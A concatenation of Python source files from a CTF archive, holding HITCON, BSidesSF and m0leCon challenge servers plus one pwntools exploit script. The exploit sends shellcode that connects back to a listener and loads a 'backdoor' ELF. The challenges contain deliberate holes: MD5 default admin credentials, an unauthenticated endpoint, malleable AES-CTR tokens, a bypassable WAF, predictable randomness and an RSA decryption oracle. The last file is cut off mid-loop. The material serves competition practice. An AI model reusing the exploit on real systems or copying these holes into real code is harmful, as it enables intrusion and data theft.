| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HITCON/2020/revenge_of_pwn/exploit.py | ctfs/HITCON/2020/revenge_of_pwn/exploit.py | #!/usr/bin/env python3
from pwn import *
import os
host, port = '127.0.0.1', 1337
context.arch = 'amd64'
context.timeout = 2
log.info('Version of pwntools: ' + pwnlib.__version__)
r = remote(host, port)
r.recvuntil('stack address @ 0x')
stk = int(r.recvline(), 16)
log.info('stk @ ' + hex(stk))
l = listen(31337)
stage1 = asm(
shellcraft.connect('127.0.0.1', 31337) +
shellcraft.itoa('rbp') +
shellcraft.write('rbp', 'rsp', 4) +
shellcraft.read('rbp', stk + 48, 100) +
shellcraft.mov('rax', stk + 48) + 'jmp rax'
)
r.send(b'@' * 40 + p64(stk+48) + stage1)
r.close()
s = l.wait_for_connection()
fd = str(s.recvuntil('@')[:-1], 'ascii')
log.info('sock fd @ ' + fd)
backdoor_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'backdoor')
stage2 = asm(shellcraft.stager(fd, 0x4000))
s.send(stage2.ljust(100, b'\x90'))
stage3 = asm(shellcraft.close(1) + shellcraft.dup2(fd, 1) + shellcraft.loader_append(open(backdoor_path, 'rb').read()))
s.send(stage3.ljust(0x4000, b'\x90'))
# pwned!
s.recvuntil('Hooray! A custom ELF is executed!\n')
log.info("Pwned!")
s.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesSF/2023/web/prototype2/db.py | ctfs/BSidesSF/2023/web/prototype2/db.py | import sqlite3
import argparse
import os
import json
import uuid
def create_connection(db_file):
conn = None
try:
conn = sqlite3.connect(db_file)
except Error as e:
print(e)
return conn
def create_db(conn):
createRegistrationTable="""CREATE TABLE IF NOT EXISTS registrationRequests(
id integer PRIMARY KEY AUTOINCREMENT,
rperiod int NOT NULL,
rtype text NOT NULL,
name text NOT NULL,
address text NOT NULL,
year int NOT NULL,
make text NOT NULL,
model text NOT NULL,
color text NOT NULL);"""
c = conn.cursor()
c.execute(createRegistrationTable)
deleteUsers = "DROP TABLE users;"
c = conn.cursor()
c.execute(deleteUsers)
createUsersTable="""CREATE TABLE IF NOT EXISTS users(
id integer PRIMARY KEY AUTOINCREMENT,
username text NOT NULL,
password text NOT NULL,
session text);"""
c = conn.cursor()
c.execute(createUsersTable)
insertAdmin = "INSERT INTO users (username, password, session) VALUES('admin', '21232f297a57a5a743894a0e4a801fc3', '336f6e9f-1fcd-4585-80c7-e4cfdce1d5bd');"
c = conn.cursor()
c.execute(insertAdmin)
conn.commit()
def insertRegistration(conn, args):
print("Running Insert");
insertRequest="""INSERT INTO registrationRequests (rperiod, rtype, name, address, year, make, model, color)
VALUES(?, ?, ?, ?, ?, ?, ?, ?);"""
cursor=conn.execute(insertRequest,args)
def getRequests(conn):
getRequestsQuery="""SELECT rperiod, rtype, name, address, year, make, model, color FROM RegistrationRequests;
"""
cursor=conn.execute(getRequestsQuery)
columnNames = [d[0] for d in cursor.description]
out = []
for row in cursor:
info = dict(zip(columnNames, row))
info['address'] = json.loads(info['address'])
out.append(info)
return out
def validateUser(conn, args):
getRequestsQuery="""SELECT * FROM users WHERE username=? AND password=?;
"""
cursor=conn.execute(getRequestsQuery, args)
data=cursor.fetchall()
if len(data)==0:
return None
else:
insertSessionCookie = """UPDATE users SET session=?
WHERE username=? AND password=?;
"""
session=str(uuid.uuid4())
cursor=conn.execute(insertSessionCookie, (session, args[0], args[1]))
return session
def validateSession(conn, args):
print(args)
getSessionQuery="""SELECT * FROM users WHERE session=?;
"""
cursor=conn.execute(getSessionQuery, args)
data=cursor.fetchall()
if len(data)==0:
return False
return True
if __name__ == "__main__":
database = r"sqlite.db"
conn = create_connection(database)
print("[+] Creating Database")
create_db(conn)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesSF/2023/web/prototype2/server.py | ctfs/BSidesSF/2023/web/prototype2/server.py | from db import create_connection, insertRegistration, create_db, getRequests, validateSession, validateUser
from flask import Flask, request, send_file, render_template, make_response, redirect, url_for, abort
from marshmallow import Schema, fields
from flask_cors import CORS
import json, hashlib
app = Flask(__name__)
CORS(app)
database = r"sqlite.db"
class RegistrationInputSchema(Schema):
rperiod = fields.Int(required=True)
rtype = fields.Str(required=True)
name = fields.Str(required=True)
make = fields.Str(required=True)
streetAddress = fields.Str(required=True)
city = fields.Str(required=True)
province = fields.Str(required=True)
country = fields.Str(required=True)
planet = fields.Str(required=False)
year = fields.Int(required=True)
make = fields.Str(required=True)
model = fields.Str(required=True)
color = fields.Str(required=True)
registrationSchema = RegistrationInputSchema()
@app.route('/index.js', methods=['GET'])
def indexjs():
print("[+] index.js")
return send_file('www/index.js', download_name='index.js')
@app.route('/', methods=['GET'])
def indexhtml():
return send_file('www/index.html', download_name='index.html')
@app.route('/styles.css', methods=['GET'])
def stylecss():
return send_file('www/styles.css', download_name='www/styles.css')
@app.route('/register', methods=['POST'])
def register():
conn = create_connection(database)
try:
if(request.content_type.startswith('application/x-www-form-urlencoded')):
errors = registrationSchema.validate(request.form)
if errors:
abort(400, str(errors))
rperiod: int = request.form.get('rperiod')
rtype: str = request.form.get('rtype')
name: str = request.form.get('name')
make: str = request.form.get('make')
address = {}
address['streetAddress']: str = request.form.get('streetAddress')
address['city']:str = request.form.get('city')
address['province']:str = request.form.get('province')
address['country']:str = request.form.get('country')
address['planet']:str = request.form.get('planet')
year: int = request.form.get('year')
make: str = request.form.get('make')
model: str = request.form.get('model')
color:str = request.form.get('color')
insertRegistration(conn, (rperiod,
rtype,
name,
json.dumps(address),
year,
make,
model,
color))
conn.commit()
elif(request.content_type.startswith('application/json')):
jsonData = json.loads(request.get_data().decode('utf-8'))
insertRegistration(conn, (jsonData['rperiod'],
jsonData['rtype'],
jsonData['name'],
json.dumps(jsonData['address']),
jsonData['year'],
jsonData['make'],
jsonData['model'],
jsonData['color']))
conn.commit()
finally:
conn.close()
return send_file('www/success.html', download_name='success.html')
@app.route('/node_modules/augmented-ui/aug-core.min.css', methods=['GET'])
def aug():
return send_file('node_modules/augmented-ui/aug-core.min.css', download_name='aug-core.min.css')
@app.route('/admin', methods=['GET'])
def admin():
conn = create_connection(database)
if validateSession(conn, (request.cookies.get('session'),)):
return send_file('www/admin.html', download_name='admin.html')
else:
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
conn = create_connection(database)
if request.method == 'GET':
return send_file('www/login.html', download_name='login.html')
else:
sessionCookie = validateUser(conn, (request.form.get('username'), hashlib.md5(bytes(request.form.get('password'), "utf-8")).digest().hex()))
conn.commit()
if sessionCookie:
resp = make_response(redirect(url_for('admin')))
resp.set_cookie('session', sessionCookie)
return resp
else:
return send_file('www/login.html', download_name='login.html')
@app.route('/requests', methods=['GET'])
def responses():
conn = create_connection(database)
if validateSession(conn, (request.cookies.get('session'),)):
return json.dumps(getRequests(conn))
else:
return redirect(url_for('login'))
app.run(host='0.0.0.0', port=8000)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesSF/2023/web/prototype/db.py | ctfs/BSidesSF/2023/web/prototype/db.py | import sqlite3
import argparse
import os
import json
import uuid
def create_connection(db_file):
conn = None
try:
conn = sqlite3.connect(db_file)
except Error as e:
print(e)
return conn
def create_db(conn):
createRegistrationTable="""CREATE TABLE IF NOT EXISTS registrationRequests(
id integer PRIMARY KEY AUTOINCREMENT,
rperiod int NOT NULL,
rtype text NOT NULL,
name text NOT NULL,
address text NOT NULL,
year int NOT NULL,
make text NOT NULL,
model text NOT NULL,
color text NOT NULL);"""
c = conn.cursor()
c.execute(createRegistrationTable)
deleteUsers = "DROP TABLE users;"
c = conn.cursor()
c.execute(deleteUsers)
createUsersTable="""CREATE TABLE IF NOT EXISTS users(
id integer PRIMARY KEY AUTOINCREMENT,
username text NOT NULL,
password text NOT NULL,
session text);"""
c = conn.cursor()
c.execute(createUsersTable)
insertAdmin = "INSERT INTO users (username, password, session) VALUES('admin', '21232f297a57a5a743894a0e4a801fc3', '336f6e9f-1fcd-4585-80c7-e4cfdce1d5bd');"
c = conn.cursor()
c.execute(insertAdmin)
conn.commit()
def insertRegistration(conn, args):
print("Running Insert");
insertRequest="""INSERT INTO registrationRequests (rperiod, rtype, name, address, year, make, model, color)
VALUES(?, ?, ?, ?, ?, ?, ?, ?);"""
cursor=conn.execute(insertRequest,args)
def getRequests(conn):
getRequestsQuery="""SELECT rperiod, rtype, name, address, year, make, model, color FROM RegistrationRequests;
"""
cursor=conn.execute(getRequestsQuery)
columnNames = [d[0] for d in cursor.description]
out = []
for row in cursor:
info = dict(zip(columnNames, row))
info['address'] = json.loads(info['address'])
out.append(info)
return out
def validateUser(conn, args):
getRequestsQuery="""SELECT * FROM users WHERE username=? AND password=?;
"""
cursor=conn.execute(getRequestsQuery, args)
data=cursor.fetchall()
if len(data)==0:
return None
else:
insertSessionCookie = """UPDATE users SET session=?
WHERE username=? AND password=?;
"""
session=str(uuid.uuid4())
cursor=conn.execute(insertSessionCookie, (session, args[0], args[1]))
return session
def validateSession(conn, args):
print(args)
getSessionQuery="""SELECT * FROM users WHERE session=?;
"""
cursor=conn.execute(getSessionQuery, args)
data=cursor.fetchall()
if len(data)==0:
return False
return True
if __name__ == "__main__":
database = r"sqlite.db"
conn = create_connection(database)
print("[+] Creating Database")
create_db(conn)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesSF/2023/web/prototype/server.py | ctfs/BSidesSF/2023/web/prototype/server.py | from db import create_connection, insertRegistration, create_db, getRequests, validateSession, validateUser
from flask import Flask, request, send_file, render_template, make_response, redirect, url_for, abort
from marshmallow import Schema, fields
from flask_cors import CORS
import json, hashlib
app = Flask(__name__)
CORS(app)
database = r"sqlite.db"
class RegistrationInputSchema(Schema):
rperiod = fields.Int(required=True)
rtype = fields.Str(required=True)
name = fields.Str(required=True)
make = fields.Str(required=True)
streetAddress = fields.Str(required=True)
city = fields.Str(required=True)
province = fields.Str(required=True)
country = fields.Str(required=True)
planet = fields.Str(required=False)
year = fields.Int(required=True)
make = fields.Str(required=True)
model = fields.Str(required=True)
color = fields.Str(required=True)
registrationSchema = RegistrationInputSchema()
@app.route('/index.js', methods=['GET'])
def indexjs():
print("[+] index.js")
return send_file('www/index.js', download_name='index.js')
@app.route('/', methods=['GET'])
def indexhtml():
return send_file('www/index.html', download_name='index.html')
@app.route('/styles.css', methods=['GET'])
def stylecss():
return send_file('www/styles.css', download_name='www/styles.css')
@app.route('/register', methods=['POST'])
def register():
conn = create_connection(database)
try:
if(request.content_type.startswith('application/x-www-form-urlencoded')):
errors = registrationSchema.validate(request.form)
if errors:
abort(400, str(errors))
rperiod: int = request.form.get('rperiod')
rtype: str = request.form.get('rtype')
name: str = request.form.get('name')
make: str = request.form.get('make')
address = {}
address['streetAddress']: str = request.form.get('streetAddress')
address['city']:str = request.form.get('city')
address['province']:str = request.form.get('province')
address['country']:str = request.form.get('country')
address['planet']:str = request.form.get('planet')
year: int = request.form.get('year')
make: str = request.form.get('make')
model: str = request.form.get('model')
color:str = request.form.get('color')
insertRegistration(conn, (rperiod,
rtype,
name,
json.dumps(address),
year,
make,
model,
color))
conn.commit()
elif(request.content_type.startswith('application/json')):
jsonData = json.loads(request.get_data().decode('utf-8'))
insertRegistration(conn, (jsonData['rperiod'],
jsonData['rtype'],
jsonData['name'],
json.dumps(jsonData['address']),
jsonData['year'],
jsonData['make'],
jsonData['model'],
jsonData['color']))
conn.commit()
finally:
conn.close()
return send_file('www/success.html', download_name='success.html')
@app.route('/node_modules/augmented-ui/aug-core.min.css', methods=['GET'])
def aug():
return send_file('node_modules/augmented-ui/aug-core.min.css', download_name='aug-core.min.css')
@app.route('/admin', methods=['GET'])
def admin():
conn = create_connection(database)
if validateSession(conn, (request.cookies.get('session'),)):
return send_file('www/admin.html', download_name='admin.html')
else:
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
conn = create_connection(database)
if request.method == 'GET':
return send_file('www/login.html', download_name='login.html')
else:
sessionCookie = validateUser(conn, (request.form.get('username'), hashlib.md5(bytes(request.form.get('password'), "utf-8")).digest().hex()))
conn.commit()
if sessionCookie:
resp = make_response(redirect(url_for('admin')))
resp.set_cookie('session', sessionCookie)
return resp
else:
return send_file('www/login.html', download_name='login.html')
@app.route('/requests', methods=['GET'])
def responses():
conn = create_connection(database)
return json.dumps(getRequests(conn))
app.run(host='0.0.0.0', port=8000)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2021/Quals/crypto/Obscurity-fixed/chall.py | ctfs/m0leCon/2021/Quals/crypto/Obscurity-fixed/chall.py | import random
from functools import reduce
from secret import flag
def xor(a, b):
return bytes(x^y for x,y in zip(a,b))
class LFSR(object):
def __init__(self, s, p):
self.s = s
self.p = p
def clock(self):
out = self.s[0]
self.s = self.s[1:]+[self.s[0]^self.s[(self.p)[0]]^self.s[(self.p)[1]]]
return out
def buildLFSR(l):
return LFSR([int(x) for x in list(bin(random.randint(1,2**l-1))[2:].rjust(l,'0'))], random.sample(range(1,l), k=2))
pt = "Look, a new flag: " + flag
pt = pt.encode()
lfsr_len = [random.randint(4,6) for _ in range(random.randint(9,12))]
L = [buildLFSR(i) for i in lfsr_len]
u = 0
key = b""
for i in range(len(pt)):
ch = 0
for j in range(8):
outvec = [l.clock() for l in L]
out = (reduce(lambda i, j: i^j, outvec) ^ u) & 1
u = (u+sum(outvec))//2
ch += out*pow(2,7-j)
key += bytes([ch])
res = xor(key,pt).hex()
print(res)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2021/Quals/crypto/babysign/server.py | ctfs/m0leCon/2021/Quals/crypto/babysign/server.py | from secret import flag
from Crypto.Util.number import bytes_to_long, getStrongPrime, inverse
from hashlib import sha256
import os
def prepare(m):
if len(m)>64:
m = m[:64]
elif len(m)<64:
l = 64-len(m)
m = m + os.urandom(l)
assert len(m) == 64
return (m[:32],m[32:])
def sign(m,n,d):
sign = pow(bytes_to_long(sha256(m[1]).digest())^bytes_to_long(m[0]), d, n)
return hex(sign)[2:]
#doesn't even work, lol
def verify(m,s,n,e):
return pow(int(s,16),e,n) == bytes_to_long(sha256(m[1]).digest())^bytes_to_long(m[0])
p,q = getStrongPrime(1024), getStrongPrime(1024)
n = p*q
e = 65537
d = inverse(e, (p-1)*(q-1))
while True:
print()
print("1. Sign")
print("2. Sign but better")
print("3. Verify")
print("4. See key")
print("0. Exit")
c = int(input("> "))
if c == 0:
break
elif c == 1:
msg = input("> ").encode()
print(sign(prepare(msg),n,d))
elif c == 2:
msg = input("> ").encode()
print(sign(prepare(flag+msg),n,d))
elif c == 3:
msg = input("> ").encode()
s = input("> ")
print(verify(prepare(msg),s,n,e))
elif c == 4:
print("N:",n)
print("e:",e)
else:
print("plz don't hack")
break
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2021/Quals/crypto/Obscurity/server.py | ctfs/m0leCon/2021/Quals/crypto/Obscurity/server.py | import random
from functools import reduce
import sys
from math import log2
from secret import flag
def xor(a, b):
return bytes(x^y for x,y in zip(a,b))
class LFSR(object):
def __init__(self, s, p):
self.s = s
self.p = p
def clock(self):
out = self.s[0]
self.s = self.s[1:]+[self.s[0]^self.s[(self.p)[0]]^self.s[(self.p)[1]]]
return out
def buildLFSR(l):
return LFSR([int(x) for x in list(bin(random.randint(1,2**l-1))[2:].rjust(l,'0'))], random.sample(range(1,l), k=2))
key = b""
print("encrypt plz [in hex]")
pt = bytes.fromhex(input().strip())
if len(pt)>1000:
print("WELL, not that much")
exit()
pt = pt + flag
periodic = True
while periodic:
lfsr_len = [random.randint(4,6) for _ in range(random.randint(9,12))]
L = [buildLFSR(i) for i in lfsr_len]
u = 0
key = b""
for i in range(len(pt)+65):
ch = 0
for j in range(8):
outvec = [l.clock() for l in L]
u = (u+sum(outvec))//2
out = (reduce(lambda i, j: i^j, outvec) ^ u) & 1
ch += out*pow(2,7-j)
key += bytes([ch])
kk = key.hex()
if kk.count(kk[-6:]) == 1:
periodic = False
res = xor(key[:-65],pt).hex()
print(res)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2021/Quals/crypto/Giant_log/chall.py | ctfs/m0leCon/2021/Quals/crypto/Giant_log/chall.py | import random
from secret import flag, fast_exp
import signal
p = 0x83f39daf527c6cf6360999dc47c4f0944ca1a67858a11bd915ee337f8897f36eff98355d7c35c2accdf4555b03a9552b4bf400915320ccd0ba60b0cb7fcad723
g = 0x15a5f7dec38869e064dd933e23c64f785492854fbe8a6e919d991472ec68edf035eef8c15660d1f059ca1600ee99c7f91a760817d7a3619a3e93dd0162f7474bbf
def test():
for _ in range(10):
x = random.randint(1, p)
n = random.randint(1, 20)
m = p**n
assert pow(g, x, m) == fast_exp(x, n)
def chall():
n = 1000
x = random.randint(1, p**(n-1))
y = fast_exp(x, n)
return x, y
def stop(signum, stack):
print("Too slow")
exit(1)
def main():
x, y = chall()
timeout = 60
print(hex(y))
print("Now gimme x")
signal.alarm(timeout)
x_inp = int(input(), 16)
if x == x_inp:
print("Wow, impressive!")
print(flag)
else:
print("Nope, sorry")
if __name__ == "__main__":
signal.signal(signal.SIGALRM, stop)
#test()
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2021/Quals/web/Waffle/waf.py | ctfs/m0leCon/2021/Quals/web/Waffle/waf.py | from flask import Flask, Response, request, jsonify
from urllib.parse import unquote
import requests
import json
import os
app = Flask(__name__)
appHost = 'http://'+os.environ['APP_HOSTNAME']+':10000/'
@app.route('/', defaults={'path': ''}, methods=['GET'])
@app.route('/<path:path>', methods=['GET'])
def catch_all(path):
print(path, unquote(path))
if('gettoken' in unquote(path)):
promo = request.args.get('promocode')
creditcard = request.args.get('creditcard')
if promo == 'FREEWAF':
res = jsonify({'err':'Sorry, this promo has expired'})
res.status_code = 400
return res
r = requests.get(appHost+path, params={'promocode':promo,'creditcard':creditcard})
else:
r = requests.get(appHost+path)
headers = [(name, value) for (name, value) in r.raw.headers.items()]
res = Response(r.content, r.status_code, headers)
return res
@app.route('/search', methods=['POST'])
def search():
j = request.get_json(force=True)
badReq = False
if 'name' in j:
x = j['name']
if not isinstance(x, str) or not x.isalnum():
badReq = True
if 'min_radius' in j:
x = j['min_radius']
if not isinstance(x, int):
badReq = True
if 'max_radius' in j:
x = j['max_radius']
if not isinstance(x, int):
badReq = True
if badReq:
res = jsonify({'err':'Bad request, filtered'})
res.status_code = 400
return res
token = name = request.cookies.get('token')
r = requests.post(appHost+'search',data=request.data,cookies={'token':token})
headers = [(name, value) for (name, value) in r.raw.headers.items()]
res = Response(r.content, r.status_code, headers)
return res
def create_app():
return app | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2026/Beginner/crypto/OG_Game_2/snake2.py | ctfs/m0leCon/2026/Beginner/crypto/OG_Game_2/snake2.py | from flask import Flask, render_template, jsonify, request
import json
import secrets
import random
from datetime import datetime
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import os
app = Flask(__name__)
# Game configuration
GRID_SIZE = 20 # 20x20 grid
SNAKE_SLEEP_SCORE = 100 # Snake gets tired and sleeps at this score
MAX_FLAG_SCORE = 999 # Need this score for flag
FLAG = os.getenv("FLAG")
SECRET_KEY = os.urandom(32) # 32 bytes for AES-256
def aes_encrypt(data_bytes, key):
nonce = get_random_bytes(8)
cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
ciphertext = cipher.encrypt(data_bytes)
return nonce + ciphertext
def aes_decrypt(encrypted_data, key):
nonce = encrypted_data[:8]
ciphertext = encrypted_data[8:]
cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
plaintext = cipher.decrypt(ciphertext)
return plaintext
def create_score_token(score, player_id):
token_data = {
"score": score,
"playerId": player_id
}
json_str = json.dumps(token_data)
json_bytes = json_str.encode('utf-8')
encrypted = aes_encrypt(json_bytes, SECRET_KEY)
return encrypted.hex()
def generate_food_position():
"""
Generate a random food position on the grid
"""
x = random.randint(0, GRID_SIZE - 1)
y = random.randint(0, GRID_SIZE - 1)
return {'x': x, 'y': y}
def validate_score_token(token_hex):
"""
Validate and decrypt a score token
Returns (score, player_id, error_message) tuple
"""
try:
encrypted_bytes = bytes.fromhex(token_hex)
decrypted_bytes = aes_decrypt(encrypted_bytes, SECRET_KEY)
try:
json_str = decrypted_bytes.decode('utf-8')
except UnicodeDecodeError:
return None, None, "Bad token: invalid UTF-8"
if any(ord(c) < 32 and c not in '\n\r\t' or ord(c) > 126 for c in json_str):
return None, None, "Bad token: contains non-printable characters"
try:
token_data = json.loads(json_str)
except json.JSONDecodeError as e:
return None, None, f"Bad token: invalid JSON - {str(e)}"
if 'score' not in token_data or 'playerId' not in token_data:
return None, None, "Bad token: missing fields"
score = token_data['score']
player_id = token_data['playerId']
if not isinstance(score, int) or score < 0:
return None, None, "Bad token: invalid score"
return score, player_id, None
except Exception as e:
return None, None, f"Bad token: {str(e)}"
@app.route('/')
def home():
"""Home page route"""
return render_template('home.html')
@app.route('/game')
def game():
"""Game page route"""
return render_template('game.html')
@app.route('/scoreboard')
def scoreboard():
"""Scoreboard page route"""
return render_template('scoreboard.html')
@app.route('/api/scores')
def get_scores():
"""API endpoint to get scores"""
dummy_scores = [
{"name": "Gianlu Prime", "score": 420, "date": "2025-4-20"},
{"name": "Carmelo", "score": "104+1", "date": "2025-4-20"},
{"name": "Schrody", "score": 104, "date": "2025-4-20"},
]
return jsonify(dummy_scores)
@app.route('/api/game/start', methods=['POST'])
def start_game():
"""Initialize a new game session - returns player ID and initial food"""
player_id = secrets.token_hex(8)
initial_food = generate_food_position()
print(f"DEBUG: Game started for player {player_id}")
print(f"DEBUG: Initial food: {initial_food}")
return jsonify({
'success': True,
'playerId': player_id,
'food': initial_food
})
@app.route('/api/game/food', methods=['POST'])
def food_eaten():
"""
Called when player eats food - increments score and generates new food
"""
data = request.get_json()
if not data or 'playerId' not in data:
return jsonify({'error': 'Missing required fields', 'required': ['playerId']}), 400
player_id = data['playerId']
current_score = 0
if 'scoreToken' in data and data['scoreToken']:
score, token_player_id, error = validate_score_token(data['scoreToken'])
if error:
return jsonify({'error': 'Invalid score token', 'message': error}), 400
if token_player_id != player_id:
return jsonify({'error': 'Token does not match player ID'}), 403
current_score = score
new_score = current_score + 10
if new_score >= SNAKE_SLEEP_SCORE:
new_score = SNAKE_SLEEP_SCORE
score_token = create_score_token(new_score, player_id)
return jsonify({
'success': True,
'snake_sleeping': True,
'scoreToken': score_token,
'score': new_score,
'message': 'The snake is tired and needs to sleep!',
})
new_food = generate_food_position()
score_token = create_score_token(new_score, player_id)
return jsonify({
'success': True,
'scoreToken': score_token,
'newFood': new_food,
'score': new_score
})
@app.route('/api/submit-score', methods=['POST'])
def submit_score():
"""API endpoint to submit a final score using the encrypted token"""
try:
data = request.get_json()
if not data or 'scoreToken' not in data or 'playerName' not in data:
return jsonify({'error': 'Missing required fields'}), 400
player_name = data['playerName'].strip()
score_token = data['scoreToken']
if not player_name or len(player_name) > 50:
return jsonify({'error': 'Invalid player name'}), 400
score, player_id, error = validate_score_token(score_token)
if error:
return jsonify({
'error': 'Invalid score token',
'message': error
}), 400
response_data = {
'success': True,
'message': 'Score submitted successfully!',
'data': {
'name': player_name,
'score': score,
}
}
# Check if score qualifies for the flag
if score >= MAX_FLAG_SCORE:
response_data['flag'] = FLAG
response_data['message'] = 'How did you manage to get such a high score? You cheated again right?'
return jsonify(response_data)
except Exception as e:
return jsonify({'error': str(e)}), 500
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2026/Beginner/crypto/Hidden_In_Plain_Sight/hidden_in_plain_sight.py | ctfs/m0leCon/2026/Beginner/crypto/Hidden_In_Plain_Sight/hidden_in_plain_sight.py | from fastapi import FastAPI
from pydantic import BaseModel
from fastapi.middleware.cors import CORSMiddleware
from fastapi import Request
from fastapi.responses import JSONResponse
from random import Random
from starlette.middleware.sessions import SessionMiddleware
import os
from fastapi.staticfiles import StaticFiles
FLAG = os.getenv("FLAG")
app = FastAPI()
app.add_middleware(SessionMiddleware, secret_key=os.getenv("SESSION_SECRET", os.urandom(256).hex()))
@app.get("/api/gen")
async def gen_numbers(request: Request, cap: int = 255):
assert 0 <= cap <= 7769
session = request.session if hasattr(request, "session") else {}
r = Random()
session["guess"] = r.getrandbits(32)
return JSONResponse(content=[r.randint(0, cap) for _ in range(64*128)])
@app.get("/api/check")
async def check_message(request: Request, value: int):
print(f"Received guess: {value}", type(value))
session = request.session if hasattr(request, "session") else {}
if len(session) == 0 or "guess" not in session:
return JSONResponse(content={"error": "No game in progress"}, status_code=400)
if value == session["guess"]:
session = {}
return JSONResponse(content={"flag": FLAG})
else:
session = {}
return JSONResponse(content={"result": "Incorrect guess"}, status_code=400)
app.mount("/", StaticFiles(directory="frontend/dist", html=True), name="dist")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/m0leCon/2026/Beginner/crypto/Sloppy_Admin/sloppy-admin.py | ctfs/m0leCon/2026/Beginner/crypto/Sloppy_Admin/sloppy-admin.py | #!/usr/local/bin/env python3
from os import getenv
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
import string
import random
DB_LIMIT = 100
def generate_password(length: int) -> str:
characters = string.printable.strip()
return ''.join(random.choice(characters) for _ in range(length))
def random_bool_gen(b: bytes) -> bool:
if len(b) == 0:
return True
seed = (
(len(b) * 0x12345)
^ (sum(b) << 7)
^ 0xF00DBAADCAFED00D
) & ((1 << 128) - 1)
acc = seed
for i, x in enumerate(b):
rot = (x * (i + 1) * 13) & 63
low = acc & ((1 << 64) - 1)
rot_low = ((low << rot) | (low >> (64 - rot))) & ((1 << 64) - 1)
acc = ((acc >> 64) ^ rot_low) & ((1 << 128) - 1)
acc = (acc * 0x9E3779B185EBCA87 + (x << ((i % 8) * 4))) & ((1 << 128) - 1)
acc ^= ((x * x * x) << (i % 7)) & ((1 << 128) - 1)
s = (x ^ i) & 15 or 1
mask = (1 << s) - 1
acc = ((acc >> s) | ((acc & mask) << (128 - s))) & ((1 << 128) - 1)
folded = acc
for k in (64, 32, 16, 8, 4):
folded ^= folded >> k
folded &= 0xFF
last = b[-1]
combo = ((folded * 0x6D5A56DA) ^ (seed >> 11) ^ (last << 5)) & 0xFF
return ((combo ^ combo) | (last & 1)) == 0
def gen_key():
key = RSA.generate(1024)
return key
def gen_token(psw, key):
token = key._encrypt(bytes_to_long(psw))
return long_to_bytes(token).hex()
def is_valid(s: str) -> bool:
return len(s) >= 8 and len(s) <= 32 and s.isprintable()
def token_verify(psw, token, key):
try:
decrypted = long_to_bytes(key._decrypt(bytes_to_long(bytes.fromhex(token))))
except:
return False, False
return decrypted == psw, random_bool_gen(decrypted)
FLAG = getenv('FLAG', 'ptm{fakeflag}')
ADMIN_PASSWORD = getenv('ADMIN_PASSWORD', 'adminpassword').encode()
db = dict()
key = gen_key()
db['admin'] = []
db['admin'].append(ADMIN_PASSWORD)
db['admin'].append(gen_token(ADMIN_PASSWORD, key))
db['CEO'] = []
db['CEO'].append(generate_password(32).encode())
db['CEO'].append(gen_token(db['CEO'][0], key))
print('\nWelcome to my new RSA Auth service!')
if __name__ == '__main__':
while True:
print()
print('1) Register')
print('2) Login')
choice = input('> ')
if choice == '1':
if len(db) >= DB_LIMIT:
print('Registration limit reached!')
continue
